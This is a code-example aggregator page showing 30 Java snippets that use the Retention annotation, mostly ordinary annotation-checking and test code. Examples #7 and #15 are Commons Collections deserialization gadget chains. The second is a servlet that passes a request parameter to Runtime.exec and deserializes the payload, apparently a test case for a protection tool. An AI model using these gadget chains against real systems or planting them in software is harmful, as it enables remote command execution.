java.lang.annotation.Retention Java Examples
The following examples show how to use
java.lang.annotation.Retention.
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: InternalBinderBuilder.java From intake with GNU Lesser General Public License v3.0 | 6 votes |
@Override public BindingBuilder<T> annotatedWith(@Nullable Class<? extends Annotation> annotation) { if (annotation != null) { if (annotation.getAnnotation(Classifier.class) == null) { throw new IllegalArgumentException( "The annotation type " + annotation.getName() + " must be marked with @" + Classifier.class.getName() + " to be used as a classifier"); } if (annotation.getAnnotation(Retention.class) == null) { throw new IllegalArgumentException( "The annotation type " + annotation.getName() + " must be marked with @" + Retention.class.getName() + " to appear at runtime"); } } key = key.setClassifier(annotation); return this; }
Example #2
Source File: FactoryProcessor.java From toothpick with Apache License 2.0 | 6 votes |
private void checkScopeAnnotationValidity(TypeElement annotation) { if (annotation.getAnnotation(Scope.class) == null) { error( annotation, "Scope Annotation %s does not contain Scope annotation.", annotation.getQualifiedName()); return; } Retention retention = annotation.getAnnotation(Retention.class); if (retention == null || retention.value() != RetentionPolicy.RUNTIME) { error( annotation, "Scope Annotation %s does not have RUNTIME retention policy.", annotation.getQualifiedName()); } }
Example #3
Source File: DeclaredAnnotations.java From huntbugs with Apache License 2.0 | 6 votes |
@Override protected void visitType(TypeDefinition td) { if (!td.isAnnotation()) return; DeclaredAnnotation da = getOrCreate(td); for (CustomAnnotation ca : td.getAnnotations()) { if (Types.is(ca.getAnnotationType(), Retention.class)) { for (AnnotationParameter ap : ca.getParameters()) { if (ap.getMember().equals("value")) { AnnotationElement value = ap.getValue(); if (value instanceof EnumAnnotationElement) { EnumAnnotationElement enumValue = (EnumAnnotationElement) value; if (Types.is(enumValue.getEnumType(), RetentionPolicy.class)) { da.policy = RetentionPolicy.valueOf(enumValue.getEnumConstantName()); } } } } } } }
Example #4
Source File: RuntimeRetentionAnalyzer.java From netbeans with Apache License 2.0 | 6 votes |
public boolean hasRuntimeRetention() { Map<String, ? extends AnnotationMirror> types = getHelper() .getAnnotationsByType(getElement().getAnnotationMirrors()); AnnotationMirror retention = types.get(Retention.class.getCanonicalName()); if ( retention == null ) { handleNoRetention(); return false; } AnnotationParser parser = AnnotationParser.create(getHelper()); parser.expectEnumConstant(AnnotationUtil.VALUE, getHelper().resolveType( RetentionPolicy.class.getCanonicalName()), null); String retentionPolicy = parser.parse(retention).get(AnnotationUtil.VALUE, String.class); return RetentionPolicy.RUNTIME.toString().equals(retentionPolicy); }
Example #5
Source File: AnnotatedClassResolver.java From lams with GNU General Public License v2.0 | 6 votes |
private AnnotationCollector _addFromBundleIfNotPresent(AnnotationCollector c, Annotation bundle) { for (Annotation ann : ClassUtil.findClassAnnotations(bundle.annotationType())) { // minor optimization: by-pass 2 common JDK meta-annotations if ((ann instanceof Target) || (ann instanceof Retention)) { continue; } if (!c.isPresent(ann)) { c = c.addOrOverride(ann); if (_intr.isAnnotationBundle(ann)) { c = _addFromBundleIfNotPresent(c, ann); } } } return c; }
Example #6
Source File: PsiAnnotationExtractor.java From litho with Apache License 2.0 | 6 votes |
/** * We consider an annotation to be valid for extraction if it's not an internal annotation (i.e. * is in the <code>com.facebook.litho</code> package and is not a source-only annotation. * * @return Whether or not to extract the given annotation. */ private static boolean isValidAnnotation(Project project, PsiAnnotation psiAnnotation) { final String text = psiAnnotation.getQualifiedName(); if (text.startsWith("com.facebook.")) { return false; } PsiClass annotationClass = PsiSearchUtils.findClass(project, psiAnnotation.getQualifiedName()); if (annotationClass == null) { throw new RuntimeException("Annotation class not found, text is: " + text); } final Retention retention = PsiAnnotationProxyUtils.findAnnotationInHierarchy(annotationClass, Retention.class); return retention == null || retention.value() != RetentionPolicy.SOURCE; }
Example #7
Source File: Payload.java From security with GNU General Public License v3.0 | 6 votes |
private static byte[] generateObject(Transformer[] transformers) throws Exception { ChainedTransformer transformedChain = new ChainedTransformer(transformers); HashMap innerMap = new HashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, (Transformer)null, transformedChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(new Class[]{Class.class, Map.class}); ctor.setAccessible(true); Object instance = ctor.newInstance(new Object[]{Retention.class, outerMap}); ByteArrayOutputStream byteOut = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteOut); out.writeObject(instance); out.flush(); out.close(); return byteOut.toByteArray(); }
Example #8
Source File: DependencyInjectionUtils.java From panda with Apache License 2.0 | 6 votes |
/** * Check if annotation is available at runtime and it is annotated by @Injectable annotation * * @param annotation the annotation to check * @param <T> annotation type * @return the tested annotation * @throws org.panda_lang.utilities.inject.DependencyInjectionException when: * <ul> * <li>the given class is not an annotation</li> * <li>annotation is not marked as @{@link org.panda_lang.utilities.inject.annotations.Injectable}</li> * <li>retention policy is not defined or its value is other than the {@link java.lang.annotation.RetentionPolicy#RUNTIME} </li> * </ul> */ public static <T> Class<T> testAnnotation(Class<T> annotation) throws DependencyInjectionException { if (!annotation.isAnnotation()) { throw new DependencyInjectionException(annotation + " is not an annotation"); } @Nullable Retention retention = annotation.getAnnotation(Retention.class); if (retention == null) { throw new DependencyInjectionException(annotation + " has no specified retention policy"); } if (retention.value() != RetentionPolicy.RUNTIME) { throw new DependencyInjectionException(annotation + " is not marked as runtime annotation"); } if (annotation.getAnnotation(Injectable.class) == null) { throw new DependencyInjectionException(annotation + " is not marked as @Injectable"); } return annotation; }
Example #9
Source File: QualifierCacheTests.java From Spork with Apache License 2.0 | 6 votes |
@Test public void annotationWithValueMethod() { Annotation annotation = Singleton.class.getAnnotation(Retention.class); cache.getQualifier(annotation); InOrder inOrder = inOrder(lock, cache); // initial call inOrder.verify(cache).getQualifier(annotation); // internal thread safe method lookup inOrder.verify(cache).getValueMethodThreadSafe(Retention.class); inOrder.verify(lock).lock(); inOrder.verify(cache).getValueMethod(Retention.class); inOrder.verify(lock).unlock(); // get Qualifier from value() method inOrder.verify(cache).getQualifier(any(Method.class), eq(annotation)); inOrder.verifyNoMoreInteractions(); verifyZeroInteractions(cache); assertThat(bindActionMap.size(), is(1)); }
Example #10
Source File: Matchers.java From crate with Apache License 2.0 | 5 votes |
private static void checkForRuntimeRetention( Class<? extends Annotation> annotationType) { Retention retention = annotationType.getAnnotation(Retention.class); if (retention == null || retention.value() != RetentionPolicy.RUNTIME) { throw new IllegalArgumentException("Annotation " + annotationType.getSimpleName() + " is missing RUNTIME retention"); } }
Example #11
Source File: BehaviorTesterTest.java From FreeBuilder with Apache License 2.0 | 5 votes |
@Test public void simpleExample() { behaviorTester() .with(SourceBuilder.forTesting() .addLine("package com.example;") .addLine("@%s(%s.RUNTIME)", Retention.class, RetentionPolicy.class) .addLine("public @interface TestAnnotation { }")) .with(SourceBuilder.forTesting() .addLine("package com.example;") .addLine("@TestAnnotation public class MyClass {") .addLine(" public MyOtherClass get() {") .addLine(" return new MyOtherClass();") .addLine(" }") .addLine("}")) .with( new TestProcessor() { @Override public boolean process( Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) { if (!annotations.isEmpty()) { try (Writer writer = processingEnv.getFiler() .createSourceFile("com.example.MyOtherClass") .openWriter()) { writer.append("package com.example;\n" + "public class MyOtherClass {\n" + " public String get() {\n" + " return \"Hello world!\";\n" + " }\n" + "}\n"); } catch (IOException e) { throw new RuntimeException(e); } } return true; } }) .with(new TestBuilder() .addLine("assertEquals(\"Hello world!\", new com.example.MyClass().get().get());") .build()) .runTest(); }
Example #12
Source File: AnnotationUsageCache.java From ph-commons with Apache License 2.0 | 5 votes |
/** * Constructor * * @param aAnnotationClass * The annotation class to store the existence of. It must have the * {@link RetentionPolicy#RUNTIME} to be usable within this class! */ public AnnotationUsageCache (@Nonnull final Class <? extends Annotation> aAnnotationClass) { ValueEnforcer.notNull (aAnnotationClass, "AnnotationClass"); // Check retention policy final Retention aRetention = aAnnotationClass.getAnnotation (Retention.class); final RetentionPolicy eRetentionPolicy = aRetention == null ? RetentionPolicy.CLASS : aRetention.value (); if (eRetentionPolicy != RetentionPolicy.RUNTIME) throw new IllegalArgumentException ("RetentionPolicy must be of type RUNTIME to be used within this cache. The current value ist " + eRetentionPolicy); // Save to members m_aAnnotationClass = aAnnotationClass; }
Example #13
Source File: InternalBinderBuilder.java From Intake with GNU Lesser General Public License v3.0 | 5 votes |
@Override public BindingBuilder<T> annotatedWith(@Nullable Class<? extends Annotation> annotation) { if (annotation != null) { if (annotation.getAnnotation(Classifier.class) == null) { throw new IllegalArgumentException("The annotation type " + annotation.getName() + " must be marked with @" + Classifier.class.getName() + " to be used as a classifier"); } if (annotation.getAnnotation(Retention.class) == null) { throw new IllegalArgumentException("The annotation type " + annotation.getName() + " must be marked with @" + Retention.class.getName() + " to appear at runtime"); } } key = key.setClassifier(annotation); return this; }
Example #14
Source File: AnnotationExtractor.java From litho with Apache License 2.0 | 5 votes |
/** * We consider an annotation to be valid for extraction if it's not an internal annotation (i.e. * is in the <code>com.facebook.litho</code> package and is not a source-only annotation. * * <p>We also do not consider the kotlin.Metadata annotation to be valid as it represents the * metadata of the Spec class and not of the class that we are generating. * * @return Whether or not to extract the given annotation. */ private static boolean isValidAnnotation(AnnotationMirror annotation) { final Retention retention = annotation.getAnnotationType().asElement().getAnnotation(Retention.class); if (retention != null && retention.value() == RetentionPolicy.SOURCE) { return false; } String annotationName = annotation.getAnnotationType().toString(); return !annotationName.startsWith("com.facebook.") && !annotationName.equals("kotlin.Metadata"); }
Example #15
Source File: Deserialization.java From openrasp-testcases with MIT License | 5 votes |
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { String id = req.getParameter("id"); if (id != null) { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{id}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innermap = new HashMap(); innermap.put("value", "value"); Map outmap = TransformedMap.transformingMap(innermap, null, transformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Retention.class, outmap); File f = new File("obj"); ObjectOutputStream outStream = new ObjectOutputStream(new FileOutputStream(f)); outStream.writeObject(instance); outStream.flush(); outStream.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj")); in.readObject(); in.close(); } } catch (Exception e) { resp.getWriter().println(e); } }
Example #16
Source File: AsmBackedClassGenerator.java From pushfish-android with BSD 2-Clause "Simplified" License | 5 votes |
public void addConstructor(Constructor<?> constructor) throws Exception { List<Type> paramTypes = new ArrayList<Type>(); for (Class<?> paramType : constructor.getParameterTypes()) { paramTypes.add(Type.getType(paramType)); } String methodDescriptor = Type.getMethodDescriptor(Type.VOID_TYPE, paramTypes.toArray( new Type[paramTypes.size()])); MethodVisitor methodVisitor = visitor.visitMethod(Opcodes.ACC_PUBLIC, "<init>", methodDescriptor, signature(constructor), new String[0]); for (Annotation annotation : constructor.getDeclaredAnnotations()) { if (annotation.annotationType().getAnnotation(Inherited.class) != null) { continue; } Retention retention = annotation.annotationType().getAnnotation(Retention.class); AnnotationVisitor annotationVisitor = methodVisitor.visitAnnotation(Type.getType(annotation.annotationType()).getDescriptor(), retention != null && retention.value() == RetentionPolicy.RUNTIME); annotationVisitor.visitEnd(); } methodVisitor.visitCode(); // this.super(p0 .. pn) methodVisitor.visitVarInsn(Opcodes.ALOAD, 0); for (int i = 0; i < constructor.getParameterTypes().length; i++) { methodVisitor.visitVarInsn(Type.getType(constructor.getParameterTypes()[i]).getOpcode(Opcodes.ILOAD), i + 1); } methodVisitor.visitMethodInsn(Opcodes.INVOKESPECIAL, superclassType.getInternalName(), "<init>", methodDescriptor); methodVisitor.visitInsn(Opcodes.RETURN); methodVisitor.visitMaxs(0, 0); methodVisitor.visitEnd(); }
Example #17
Source File: ResolveVisitor.java From groovy with Apache License 2.0 | 5 votes |
@Override public void visitAnnotations(final AnnotatedNode node) { List<AnnotationNode> annotations = node.getAnnotations(); if (annotations.isEmpty()) return; Map<String, AnnotationNode> tmpAnnotations = new HashMap<>(); for (AnnotationNode an : annotations) { // skip built-in properties if (an.isBuiltIn()) continue; ClassNode annType = an.getClassNode(); resolveOrFail(annType, " for annotation", an); for (Map.Entry<String, Expression> member : an.getMembers().entrySet()) { Expression newValue = transform(member.getValue()); Expression adjusted = transformInlineConstants(newValue); member.setValue(adjusted); checkAnnotationMemberValue(adjusted); } if (annType.isResolved()) { Class<?> annTypeClass = annType.getTypeClass(); Retention retAnn = annTypeClass.getAnnotation(Retention.class); if (retAnn != null && !retAnn.value().equals(RetentionPolicy.SOURCE) && !isRepeatable(annTypeClass)) { // remember non-source/non-repeatable annos (auto collecting of Repeatable annotations is handled elsewhere) AnnotationNode anyPrevAnnNode = tmpAnnotations.put(annTypeClass.getName(), an); if (anyPrevAnnNode != null) { addError("Cannot specify duplicate annotation on the same member : " + annType.getName(), an); } } } } }
Example #18
Source File: AccessTargetTest.java From ArchUnit with Apache License 2.0 | 5 votes |
@Test public void isMetaAnnotatedWith_typeName_on_resolved_target() { JavaClasses classes = importClassesWithContext(Origin.class, Target.class, QueriedAnnotation.class); JavaCall<?> call = simulateCall().from(classes.get(Origin.class), "call").to(classes.get(Target.class).getMethod("called")); assertThat(call.getTarget().isMetaAnnotatedWith(QueriedAnnotation.class.getName())) .as("target is meta-annotated with @" + QueriedAnnotation.class.getSimpleName()) .isFalse(); assertThat(call.getTarget().isMetaAnnotatedWith(Retention.class.getName())) .as("target is meta-annotated with @" + Retention.class.getSimpleName()) .isTrue(); }
Example #19
Source File: AsmBackedClassGenerator.java From Pushjet-Android with BSD 2-Clause "Simplified" License | 5 votes |
public void addConstructor(Constructor<?> constructor) throws Exception { List<Type> paramTypes = new ArrayList<Type>(); for (Class<?> paramType : constructor.getParameterTypes()) { paramTypes.add(Type.getType(paramType)); } String methodDescriptor = Type.getMethodDescriptor(Type.VOID_TYPE, paramTypes.toArray( new Type[paramTypes.size()])); MethodVisitor methodVisitor = visitor.visitMethod(Opcodes.ACC_PUBLIC, "<init>", methodDescriptor, signature(constructor), new String[0]); for (Annotation annotation : constructor.getDeclaredAnnotations()) { if (annotation.annotationType().getAnnotation(Inherited.class) != null) { continue; } Retention retention = annotation.annotationType().getAnnotation(Retention.class); AnnotationVisitor annotationVisitor = methodVisitor.visitAnnotation(Type.getType(annotation.annotationType()).getDescriptor(), retention != null && retention.value() == RetentionPolicy.RUNTIME); annotationVisitor.visitEnd(); } methodVisitor.visitCode(); // this.super(p0 .. pn) methodVisitor.visitVarInsn(Opcodes.ALOAD, 0); for (int i = 0; i < constructor.getParameterTypes().length; i++) { methodVisitor.visitVarInsn(Type.getType(constructor.getParameterTypes()[i]).getOpcode(Opcodes.ILOAD), i + 1); } methodVisitor.visitMethodInsn(Opcodes.INVOKESPECIAL, superclassType.getInternalName(), "<init>", methodDescriptor); methodVisitor.visitInsn(Opcodes.RETURN); methodVisitor.visitMaxs(0, 0); methodVisitor.visitEnd(); }
Example #20
Source File: CanBeAnnotated.java From ArchUnit with Apache License 2.0 | 5 votes |
private static void checkAnnotationHasReasonableRetention(Class<? extends Annotation> annotationType) { if (isRetentionSource(annotationType)) { throw new InvalidSyntaxUsageException(String.format( "Annotation type %s has @%s(%s), thus the information is gone after compile. " + "So checking this with ArchUnit is useless.", annotationType.getName(), Retention.class.getSimpleName(), RetentionPolicy.SOURCE)); } }
Example #21
Source File: JavaClassTest.java From ArchUnit with Apache License 2.0 | 5 votes |
@Test public void isAnnotatedWith_type() { assertThat(importClassWithContext(Parent.class).isAnnotatedWith(SomeAnnotation.class)) .as("Parent is annotated with @" + SomeAnnotation.class.getSimpleName()).isTrue(); assertThat(importClassWithContext(Parent.class).isAnnotatedWith(Retention.class)) .as("Parent is annotated with @" + Retention.class.getSimpleName()).isFalse(); }
Example #22
Source File: JavaClassTest.java From ArchUnit with Apache License 2.0 | 5 votes |
@Test public void isAnnotatedWith_typeName() { assertThat(importClassWithContext(Parent.class).isAnnotatedWith(SomeAnnotation.class.getName())) .as("Parent is annotated with @" + SomeAnnotation.class.getSimpleName()).isTrue(); assertThat(importClassWithContext(Parent.class).isAnnotatedWith(Retention.class.getName())) .as("Parent is annotated with @" + Retention.class.getSimpleName()).isFalse(); }
Example #23
Source File: JavaClassTest.java From ArchUnit with Apache License 2.0 | 5 votes |
@Test public void isMetaAnnotatedWith_type() { JavaClass clazz = importClassesWithContext(Parent.class, SomeAnnotation.class).get(Parent.class); assertThat(clazz.isMetaAnnotatedWith(SomeAnnotation.class)) .as("Parent is meta-annotated with @" + SomeAnnotation.class.getSimpleName()).isFalse(); assertThat(clazz.isMetaAnnotatedWith(Retention.class)) .as("Parent is meta-annotated with @" + Retention.class.getSimpleName()).isTrue(); }
Example #24
Source File: JavaClassTest.java From ArchUnit with Apache License 2.0 | 5 votes |
@Test public void isMetaAnnotatedWith_typeName() { JavaClass clazz = importClassesWithContext(Parent.class, SomeAnnotation.class).get(Parent.class); assertThat(clazz.isMetaAnnotatedWith(SomeAnnotation.class.getName())) .as("Parent is meta-annotated with @" + SomeAnnotation.class.getSimpleName()).isFalse(); assertThat(clazz.isMetaAnnotatedWith(Retention.class.getName())) .as("Parent is meta-annotated with @" + Retention.class.getSimpleName()).isTrue(); }
Example #25
Source File: AnnotationProxyTest.java From ArchUnit with Apache License 2.0 | 5 votes |
@Test public void wrong_annotation_type_is_rejected() { JavaAnnotation<?> mismatch = javaAnnotationFrom(TestAnnotation.class.getAnnotation(Retention.class), getClass()); thrown.expect(IllegalArgumentException.class); thrown.expectMessage(Retention.class.getSimpleName()); thrown.expectMessage(TestAnnotation.class.getSimpleName()); thrown.expectMessage("incompatible"); AnnotationProxy.of(TestAnnotation.class, mismatch); }
Example #26
Source File: JavaMemberTest.java From ArchUnit with Apache License 2.0 | 5 votes |
@Test public void isAnnotatedWith_type() { assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Deprecated.class)) .as("field is annotated with @Deprecated").isTrue(); assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Retention.class)) .as("field is annotated with @Retention").isFalse(); }
Example #27
Source File: JavaMemberTest.java From ArchUnit with Apache License 2.0 | 5 votes |
@Test public void isAnnotatedWith_typeName() { assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Deprecated.class.getName())) .as("field is annotated with @Deprecated").isTrue(); assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Retention.class.getName())) .as("field is annotated with @Retention").isFalse(); }
Example #28
Source File: JavaMemberTest.java From ArchUnit with Apache License 2.0 | 5 votes |
@Test public void isMetaAnnotatedWith_type() { JavaClass clazz = importClassesWithContext(SomeClass.class, Deprecated.class).get(SomeClass.class); assertThat(clazz.getField("someField").isMetaAnnotatedWith(Deprecated.class)) .as("field is meta-annotated with @Deprecated").isFalse(); assertThat(clazz.getField("someField").isMetaAnnotatedWith(Retention.class)) .as("field is meta-annotated with @Retention").isTrue(); }
Example #29
Source File: JavaMemberTest.java From ArchUnit with Apache License 2.0 | 5 votes |
@Test public void isMetaAnnotatedWith_typeName() { JavaClass clazz = importClassesWithContext(SomeClass.class, Deprecated.class).get(SomeClass.class); assertThat(clazz.getField("someField").isMetaAnnotatedWith(Deprecated.class.getName())) .as("field is meta-annotated with @Deprecated").isFalse(); assertThat(clazz.getField("someField").isMetaAnnotatedWith(Retention.class.getName())) .as("field is meta-annotated with @Retention").isTrue(); }
Example #30
Source File: AccessTargetTest.java From ArchUnit with Apache License 2.0 | 5 votes |
@Test public void isMetaAnnotatedWith_type_on_resolved_target() { JavaClasses classes = importClassesWithContext(Origin.class, Target.class, QueriedAnnotation.class); JavaCall<?> call = simulateCall().from(classes.get(Origin.class), "call").to(classes.get(Target.class).getMethod("called")); assertThat(call.getTarget().isMetaAnnotatedWith(QueriedAnnotation.class)) .as("target is meta-annotated with @" + QueriedAnnotation.class.getSimpleName()) .isFalse(); assertThat(call.getTarget().isMetaAnnotatedWith(Retention.class)) .as("target is meta-annotated with @" + Retention.class.getSimpleName()) .isTrue(); }